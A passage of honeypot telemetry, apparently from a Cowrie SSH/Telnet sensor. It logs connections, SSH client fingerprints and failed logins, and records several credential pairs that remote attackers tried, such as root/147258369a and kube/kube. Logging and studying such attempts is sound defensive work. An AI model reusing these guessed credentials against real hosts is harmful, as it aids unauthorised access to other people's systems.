21","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:03.011806Z","src_ip":"49.51.73.108","session":"fb9b69d584e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"mapadmin@123","message":"login attempt [mapadmin/mapadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:03.314870Z","src_ip":"49.51.73.108","session":"fb9b69d584e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:03.340200Z","src_ip":"109.237.96.109","session":"ebd8fb4cc78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:04.386625Z","src_ip":"49.51.73.108","session":"fb9b69d584e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37858,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd8fe806be6","protocol":"telnet","message":"New connection: 192.119.13.58:37858 (10.17.0.5:23) [session: 5cd8fe806be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:04.471874Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40394,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3dbc73500f4","protocol":"telnet","message":"New connection: 192.119.13.58:40394 (10.17.0.5:23) [session: a3dbc73500f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:05.076499Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f299d966f0","protocol":"telnet","message":"New connection: 192.119.13.58:45422 (10.17.0.5:23) [session: 91f299d966f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:06.390854Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bfcb2273ae7","protocol":"telnet","message":"New connection: 192.119.13.58:58958 (10.17.0.5:23) [session: 2bfcb2273ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:09.998962Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33578,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a08db90871","protocol":"telnet","message":"New connection: 192.119.13.58:33578 (10.17.0.5:23) [session: 21a08db90871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:10.819249Z"}
{"eventid":"cowrie.session.closed","duration":42.42937111854553,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:11.440056Z","src_ip":"192.119.13.58","session":"4c4690b7ce14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.8963828086853,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:11.448519Z","src_ip":"192.119.13.58","session":"60ecde034286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.03201341629028,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:12.983069Z","src_ip":"192.119.13.58","session":"d5e6df10781b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":36920,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56e0cee976a","protocol":"ssh","message":"New connection: 89.223.127.55:36920 (159.203.135.109:22) [session: b56e0cee976a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:13.151795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:13.157607Z","src_ip":"89.223.127.55","session":"b56e0cee976a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:13.276817Z","src_ip":"89.223.127.55","session":"b56e0cee976a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.494582414627075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:13.342478Z","src_ip":"192.119.13.58","session":"0d2bce4cda8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369a","message":"login attempt [root/147258369a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:13.632457Z","src_ip":"89.223.127.55","session":"b56e0cee976a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:14.753874Z","src_ip":"89.223.127.55","session":"b56e0cee976a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.43063545227051,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:16.173668Z","src_ip":"192.119.13.58","session":"0d8e83213576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54478,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f6f1a9626a","protocol":"telnet","message":"New connection: 192.119.13.58:54478 (10.17.0.5:23) [session: 76f6f1a9626a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:16.462638Z"}
{"eventid":"cowrie.session.closed","duration":41.35072302818298,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:17.670736Z","src_ip":"192.119.13.58","session":"a1e6e53ad268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53724,"dst_ip":"10.17.0.5","dst_port":23,"session":"614126b46522","protocol":"telnet","message":"New connection: 192.119.13.58:53724 (10.17.0.5:23) [session: 614126b46522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:23.200102Z"}
{"eventid":"cowrie.session.closed","duration":43.64195251464844,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:23.610417Z","src_ip":"192.119.13.58","session":"67aa0fde8ac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":55330,"dst_ip":"10.17.0.5","dst_port":22,"session":"772130298607","protocol":"ssh","message":"New connection: 193.39.208.26:55330 (10.17.0.5:22) [session: 772130298607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:29.327003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:29.332055Z","src_ip":"193.39.208.26","session":"772130298607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:29.415815Z","src_ip":"193.39.208.26","session":"772130298607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kube","password":"kube","message":"login attempt [kube/kube] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:29.778272Z","src_ip":"193.39.208.26","session":"772130298607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3858687877655,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:30.053099Z","src_ip":"186.195.16.41","session":"ed1e59ec3853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:30.865728Z","src_ip":"193.39.208.26","session":"772130298607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36478,"dst_ip":"10.17.0.5","dst_port":23,"session":"809120227b5c","protocol":"telnet","message":"New connection: 192.119.13.58:36478 (10.17.0.5:23) [session: 809120227b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:33.000037Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc98023ce66","protocol":"telnet","message":"New connection: 192.119.13.58:34528 (10.17.0.5:23) [session: 7dc98023ce66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:33.586563Z"}
{"eventid":"cowrie.session.closed","duration":33.55833125114441,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:39.949069Z","src_ip":"192.119.13.58","session":"91f299d966f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.498889207839966,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:39.970656Z","src_ip":"192.119.13.58","session":"5cd8fe806be6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"479d136f3649","protocol":"telnet","message":"New connection: 192.119.13.58:41244 (10.17.0.5:23) [session: 479d136f3649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:41.278665Z"}
{"eventid":"cowrie.session.closed","duration":37.92344689369202,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:42.999898Z","src_ip":"192.119.13.58","session":"a3dbc73500f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02589988708496,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:45.024717Z","src_ip":"192.119.13.58","session":"2bfcb2273ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60948,"dst_ip":"10.17.0.5","dst_port":23,"session":"610ba2204e11","protocol":"telnet","message":"New connection: 192.119.13.58:60948 (10.17.0.5:23) [session: 610ba2204e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:46.302609Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58828,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3f04bcb16f6","protocol":"telnet","message":"New connection: 192.119.13.58:58828 (10.17.0.5:23) [session: b3f04bcb16f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:46.770698Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43948,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2197f1675f","protocol":"telnet","message":"New connection: 192.119.13.58:43948 (10.17.0.5:23) [session: 2a2197f1675f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:49.114480Z"}
{"eventid":"cowrie.session.closed","duration":47.07134532928467,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:49.118995Z","src_ip":"192.119.13.58","session":"9597884c0625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.391927003860474,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:49.195203Z","src_ip":"192.119.13.58","session":"7afb6aa1d538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.1022675037384,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:53.921388Z","src_ip":"192.119.13.58","session":"21a08db90871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36554,"dst_ip":"10.17.0.5","dst_port":23,"session":"a90df7fec524","protocol":"telnet","message":"New connection: 192.119.13.58:36554 (10.17.0.5:23) [session: a90df7fec524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:54.255980Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47496,"dst_ip":"10.17.0.5","dst_port":23,"session":"a25f66e9b1a2","protocol":"telnet","message":"New connection: 192.119.13.58:47496 (10.17.0.5:23) [session: a25f66e9b1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:56.742223Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49882,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bcb86c0b569","protocol":"telnet","message":"New connection: 192.119.13.58:49882 (10.17.0.5:23) [session: 4bcb86c0b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:57.300922Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f66f57b8c28","protocol":"telnet","message":"New connection: 192.119.13.58:52960 (10.17.0.5:23) [session: 3f66f57b8c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:58.040615Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a78c9b2f105","protocol":"telnet","message":"New connection: 192.119.13.58:55082 (10.17.0.5:23) [session: 9a78c9b2f105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:28:58.606408Z"}
{"eventid":"cowrie.session.closed","duration":45.20051884651184,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:08.400491Z","src_ip":"192.119.13.58","session":"614126b46522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.66809272766113,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:10.130552Z","src_ip":"192.119.13.58","session":"76f6f1a9626a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.49997305870056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:10.499930Z","src_ip":"192.119.13.58","session":"809120227b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51912,"dst_ip":"10.17.0.5","dst_port":23,"session":"369974b4968e","protocol":"telnet","message":"New connection: 192.119.13.58:51912 (10.17.0.5:23) [session: 369974b4968e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:11.860061Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f787055e582","protocol":"ssh","message":"New connection: 193.32.162.145:49084 (10.17.0.5:22) [session: 7f787055e582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:11.908720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:11.913866Z","src_ip":"193.32.162.145","session":"7f787055e582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.057786Z","src_ip":"193.32.162.145","session":"7f787055e582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":53192,"dst_ip":"159.203.135.109","dst_port":22,"session":"0909775b2613","protocol":"ssh","message":"New connection: 176.65.148.108:53192 (159.203.135.109:22) [session: 0909775b2613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.279174Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":60594,"dst_ip":"10.17.0.5","dst_port":22,"session":"83ae57281038","protocol":"ssh","message":"New connection: 49.51.73.108:60594 (10.17.0.5:22) [session: 83ae57281038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.283424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.289020Z","src_ip":"49.51.73.108","session":"83ae57281038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.360600Z","src_ip":"49.51.73.108","session":"83ae57281038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.370230Z","src_ip":"176.65.148.108","session":"0909775b2613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.401818Z","src_ip":"193.32.162.145","session":"7f787055e582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":53208,"dst_ip":"159.203.135.109","dst_port":22,"session":"5659a2c5260c","protocol":"ssh","message":"New connection: 176.65.148.108:53208 (159.203.135.109:22) [session: 5659a2c5260c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.448684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:12.456068Z","src_ip":"176.65.148.108","session":"5659a2c5260c","protocol":"ssh"}
